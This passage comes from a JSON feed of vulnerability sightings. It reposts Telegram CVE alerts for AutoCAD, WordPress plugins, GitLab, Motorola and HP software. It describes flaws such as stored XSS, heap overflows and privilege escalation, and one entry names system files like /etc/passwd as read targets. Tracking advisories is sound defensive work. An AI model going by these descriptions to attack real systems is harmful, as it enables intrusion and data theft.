"e2f4a366-32ff-4194-999a-d21bf33be522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1651", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13342", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1651\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted MODEL file, when parsed through Autodesk AutoCAD, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-03-13T16:51:30.258Z\n\ud83d\udccf Modified: 2025-04-24T21:00:34.375Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0001", "creation_timestamp": "2025-04-24T21:07:06.000000Z"}, {"uuid": "2b84ba84-2167-4cb5-a577-1953e9c4245c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1625", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16810", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1625\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Qi Blocks WordPress plugin before 1.4 does not validate and escape some of its Counter block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-05-19T06:00:03.540Z\n\ud83d\udccf Modified: 2025-05-19T06:00:03.540Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/288208c4-e9ca-4b79-88e7-fb415a726fce/", "creation_timestamp": "2025-05-19T06:38:55.000000Z"}, {"uuid": "8687824b-7ddc-42c5-9114-342eaf90eed5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1626", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16809", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1626\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Qi Blocks WordPress plugin before 1.4 does not validate and escape some of its Countdown block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-05-19T06:00:04.417Z\n\ud83d\udccf Modified: 2025-05-19T06:00:04.417Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/f00d86f1-7ff9-4001-af16-989358d811a8/", "creation_timestamp": "2025-05-19T06:38:54.000000Z"}, {"uuid": "43b99f75-5327-4791-87e7-8f8e77df0bd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1627", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16808", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1627\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Qi Blocks WordPress plugin before 1.4 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-05-19T06:00:04.814Z\n\ud83d\udccf Modified: 2025-05-19T06:00:04.814Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/31b2292b-1ea7-4d63-ad65-0366e2c05dd3/", "creation_timestamp": "2025-05-19T06:38:53.000000Z"}, {"uuid": "dffe1436-f041-4baa-acc8-f4198d9d2d82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1634", "type": "seen", "source": "Telegram/4zRGsEPwCWPOVkiJwGYn1R_sXuEnR_EKMT0DdgACfDkyyoA", "content": "", "creation_timestamp": "2026-04-20T21:21:38.000000Z"}, {"uuid": "3174d20a-a2ea-488d-8e4f-412c8dfd6e82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1698", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18087", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1698\n\ud83d\udd25 CVSS Score: 2.4 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Null pointer exception vulnerabilities were reported in the fingerprint sensor service that could allow a local attacker to cause a denial of service.\n\ud83d\udccf Published: 2025-06-11T16:14:37.530Z\n\ud83d\udccf Modified: 2025-06-11T16:14:37.530Z\n\ud83d\udd17 References:\n1. https://en-us.support.motorola.com/app/answers/detail/a_id/186728", "creation_timestamp": "2025-06-11T16:33:46.000000Z"}, {"uuid": "1f8ba03e-b079-4c70-a7ce-1a8438550096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1699", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18086", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1699\n\ud83d\udd25 CVSS Score: 2.4 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: An incorrect default permissions vulnerability was reported in the MotoSignature application that could result in unauthorized access.\n\ud83d\udccf Published: 2025-06-11T16:14:49.135Z\n\ud83d\udccf Modified: 2025-06-11T16:14:49.135Z\n\ud83d\udd17 References:\n1. https://en-us.support.motorola.com/app/answers/detail/a_id/186729", "creation_timestamp": "2025-06-11T16:33:46.000000Z"}, {"uuid": "ce8d5597-7476-4af0-9204-8fc191c9204d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1683", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18778", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1683\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper link resolution before file access in the Nomad module of the 1E Client, in versions prior to 25.3, enables an attacker with local unprivileged access on a Windows system to delete arbitrary files on the device by exploiting symbolic links.\n\ud83d\udccf Published: 2025-03-12T15:25:27.765Z\n\ud83d\udccf Modified: 2025-06-18T16:33:16.217Z\n\ud83d\udd17 References:\n1. https://www.teamviewer.com/en/resources/trust-center/security-bulletins/1e-2025-2001/\n2. https://nvd.nist.gov/vuln/detail/CVE-2025-1683\n3. https://cwe.mitre.org/data/definitions/59.html\n4. https://capec.mitre.org/data/definitions/27.html", "creation_timestamp": "2025-06-18T16:43:23.000000Z"}, {"uuid": "9a9ce3c7-6dac-4fb7-a21c-5c2fc35eee7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1686", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5648", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1686\n\ud83d\udd25 CVSS Score: 6.1 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:P)\n\ud83d\udd39 Description: All versions of the package io.pebbletemplates:pebble are vulnerable to External Control of File Name or Path via the include tag. A high privileged attacker can access sensitive local files by crafting malicious notification templates that leverage this tag to include files like /etc/passwd or /proc/1/environ. WorkaroundThis vulnerability can be mitigated by disabling the include macro in Pebble Templates:javanew PebbleEngine.Builder()            .registerExtensionCustomizer(new DisallowExtensionCustomizerBuilder()                    .disallowedTokenParserTags(List.of(\"include\"))                    .build())            .build();\n\ud83d\udccf Published: 2025-02-27T05:00:05.848Z\n\ud83d\udccf Modified: 2025-02-27T05:00:05.848Z\n\ud83d\udd17 References:\n1. https://security.snyk.io/vuln/SNYK-JAVA-IOPEBBLETEMPLATES-8745594\n2. https://github.com/PebbleTemplates/pebble/issues/680\n3. https://pebbletemplates.io/wiki/tag/include\n4. https://github.com/PebbleTemplates/pebble/issues/688", "creation_timestamp": "2025-02-27T05:25:17.000000Z"}, {"uuid": "d1309b7a-dce1-475d-956a-54efbd93e5a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1614", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5120", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1614\n\ud83d\udd25 CVSS Score: 4.8 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic has been found in FiberHome AN5506-01A ONU GPON RP2511. Affected is an unknown function of the file /goform/portForwardingCfg of the component Port Forwarding Submenu. The manipulation of the argument pf_Description leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2025-02-24T03:00:13.961Z\n\ud83d\udccf Modified: 2025-02-24T03:00:13.961Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296604\n2. https://vuldb.com/?ctiid.296604\n3. https://vuldb.com/?submit.501365", "creation_timestamp": "2025-02-24T03:25:19.000000Z"}, {"uuid": "b73a92bb-c1e8-43b3-a427-d478bdeecb4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1642", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5240", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1642\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Benner ModernaNet up to 1.1.0. It has been declared as critical. This vulnerability affects unknown code of the file /AGE0000700/GetImageMedico?fooId=1. The manipulation of the argument fooId leads to improper control of resource identifiers. The attack can be initiated remotely. Upgrading to version 1.1.1 is able to address this issue. It is recommended to upgrade the affected component.\n\ud83d\udccf Published: 2025-02-25T00:31:04.569Z\n\ud83d\udccf Modified: 2025-02-25T00:31:04.569Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.296692\n2. https://vuldb.com/?ctiid.296692\n3. https://vuldb.com/?submit.499877\n4. https://github.com/yago3008/cves", "creation_timestamp": "2025-02-25T01:25:21.000000Z"}, {"uuid": "9e62de01-3e76-4c1d-80e2-4bb3d4ae18be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1624", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7700", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1624\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GDPR Cookie Compliance  WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-16T06:00:10.301Z\n\ud83d\udccf Modified: 2025-03-16T06:00:10.301Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/2f4a402a-97f6-4638-9ce0-456ccd5606e9/", "creation_timestamp": "2025-03-16T06:46:06.000000Z"}, {"uuid": "c8b08808-e90b-4842-b310-ebac3de271b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/13", "content": "Attackers with Subscriber-level access can abuse this flaw to modify their own privileges, such as updating their user role to \u201cadministrator.\u201d The vulnerability stems from inadequate capability checks and nonce validation, allowing low-privileged users to escalate permissions by crafting malicious requests to the vulnerable endpoint.", "creation_timestamp": "2025-03-28T23:40:21.000000Z"}, {"uuid": "154dd363-4ca1-469f-9d84-bc5ded0dd500", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1629", "type": "seen", "source": "Telegram/01QCa97SHuxNNOzZ1f2VXwxotDpXGDrQ_k3UBjgn3n0ZfB4M", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "f2387d00-9714-41fd-8007-b5d9b34b7edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1618", "type": "seen", "source": "Telegram/CU-5wB7lT9Q0LBfaT2oAGRIiW7STMg9WedqmiGxDyeXOLFz4", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "f45a6ea6-4501-4646-8fff-0974e45523e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1617", "type": "seen", "source": "Telegram/_K6yeIvXR_JTY21L4YH88gYM3yjB8gigKVdh1yr7Nj5D5lwL", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "270b36cf-c9d9-400f-9774-00309364230e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1653", "type": "published-proof-of-concept", "source": "Telegram/zXeR48AVl-g3-zFgg1o819hvSIyskZF2kKQNZdmMdcv74Y4", "content": "", "creation_timestamp": "2025-03-28T23:42:12.000000Z"}, {"uuid": "c4f12728-8234-4383-b98d-b4f1bc56d3e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1616", "type": "seen", "source": "Telegram/NEA3MC5jAjQxUYKwMIV4zJTXa0gW1e3ounGPnshffzH2FUaZ", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "6c45ec72-e139-4b1c-9872-2fff69c9407f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1615", "type": "seen", "source": "Telegram/bSsGz3Slc3UU_vUa1Ho3FM7IJO5ialRNZHO8cK3oyLpbwQa0", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "d405df65-c92f-4687-a4c4-2610d988ee65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1614", "type": "seen", "source": "Telegram/RdFPjTO1tuRG4bwpdKeaPhkQCqijmKigy4Kys635zC2dQVrd", "content": "", "creation_timestamp": "2025-02-24T14:08:42.000000Z"}, {"uuid": "8fde9000-045e-4b86-acbe-ee42539c8dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1613", "type": "seen", "source": "Telegram/tr8ljhuxpyxWjsWIOzmD0e_DQ4HYcvataeyXKHGTCICB37ib", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "35659434-b1f8-4ea1-a00e-b9ac69a474c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1611", "type": "seen", "source": "Telegram/-go0sESEkldO4oVyrfmbXZdxGzPqWoICYDeQ2WMZ4lZEQERO", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "bf5be86b-a660-47cd-a3da-05d4b64e498b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1612", "type": "seen", "source": "Telegram/pLX11zl1N_VcKjR2Rvn5yChVc3_f2pEHCQHEfuIP7wFsT7OB", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "b6759397-f01d-4889-a46a-c8015b2e4ce4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1610", "type": "seen", "source": "Telegram/7vVor9DopJPwV8udcsA5XUl5yEKP2ynmvQEOXg8JgZrGvM4X", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "114bd02e-19a0-4e4e-bc2b-44107dadda8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1609", "type": "seen", "source": "Telegram/3sGDF6TlOV6rXvZ2XqTyp2NUquiN2QvKXsrQaMYcUVFIikEZ", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "b3227281-f4ed-4805-b44d-ac2338287906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1697", "type": "seen", "source": "https://t.me/cvedetector/23339", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1697 - HP Touchpoint Analytics Service Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1697 \nPublished : April 18, 2025, 6:15 p.m. | 27\u00a0minutes ago \nDescription : A potential security vulnerability has been identified in the HP Touchpoint Analytics Service for certain HP PC products with versions prior to 4.2.2439. This vulnerability could potentially allow a local attacker to escalate privileges. HP is providing software updates to mitigate this potential vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-18T20:45:41.000000Z"}, {"uuid": "f07a2311-b98e-4f29-821c-f03721515905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1677", "type": "seen", "source": "https://t.me/cvedetector/22669", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1677 - GitLab CE/EE Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1677 \nPublished : April 10, 2025, 1:15 p.m. | 2\u00a0hours, 3\u00a0minutes ago \nDescription : A Denial of Service (DoS) issue has been discovered in GitLab CE/EE affecting all up to 17.8.7, 17.9 prior to 17.9.6 and 17.10 prior to 17.10.4 A denial of service could occur upon injecting oversized payloads into CI pipeline exports. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-10T17:52:24.000000Z"}, {"uuid": "ac51ceb1-7961-435a-a6da-8b7b8518cf8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1663", "type": "seen", "source": "https://t.me/cvedetector/21966", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1663 - Elementor Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1663 \nPublished : April 3, 2025, 8:15 a.m. | 38\u00a0minutes ago \nDescription : The Unlimited Elements For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several widgets in all versions up to, and including, 1.5.142 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-03T11:03:27.000000Z"}, {"uuid": "4de395ff-1344-4920-aa2d-e89973bf5d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1651", "type": "seen", "source": "https://t.me/cvedetector/20245", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1651 - Autodesk AutoCAD Heap-Based Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1651 \nPublished : March 13, 2025, 5:15 p.m. | 43\u00a0minutes ago \nDescription : A maliciously crafted MODEL file, when parsed through Autodesk AutoCAD, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T19:48:26.000000Z"}, {"uuid": "7aa7009c-415d-4e80-8373-8e0499cd8cf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1623", "type": "seen", "source": "https://t.me/cvedetector/20400", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1623 - WordPress GDPR Cookie Compliance Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2025-1623 \nPublished : March 16, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The GDPR Cookie Compliance  WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-16T08:00:51.000000Z"}, {"uuid": "15247921-9944-4c03-b67c-918dece6c732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1622", "type": "seen", "source": "https://t.me/cvedetector/20406", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1622 - WordPress GDPR Cookie Compliance Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2025-1622 \nPublished : March 16, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-16T08:00:58.000000Z"}, {"uuid": "c00652a4-562f-4fba-b6fe-3f75a7e1ef4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1621", "type": "seen", "source": "https://t.me/cvedetector/20405", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1621 - WordPress GDPR Cookie Compliance Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2025-1621 \nPublished : March 16, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-16T08:00:57.000000Z"}, {"uuid": "0d567bb1-25e9-46c4-93b1-ba95ad5841ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1620", "type": "seen", "source": "https://t.me/cvedetector/20404", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1620 - \"WordPress GDPR Cookie Compliance Stored Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2025-1620 \nPublished : March 16, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-16T08:00:54.000000Z"}, {"uuid": "3aa2db53-e58a-4320-849e-05bd69a7a602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1619", "type": "seen", "source": "https://t.me/cvedetector/20403", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1619 - WordPress GDPR Cookie Compliance Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1619 \nPublished : March 16, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-16T08:00:53.000000Z"}, {"uuid": "e85d06bd-0db8-4f19-bcd0-8dc731b362db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1624", "type": "seen", "source": "https://t.me/cvedetector/20401", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1624 - WordPress GDPR Cookie Compliance Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2025-1624 \nPublished : March 16, 2025, 6:15 a.m. | 32\u00a0minutes ago \nDescription : The GDPR Cookie Compliance  WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for 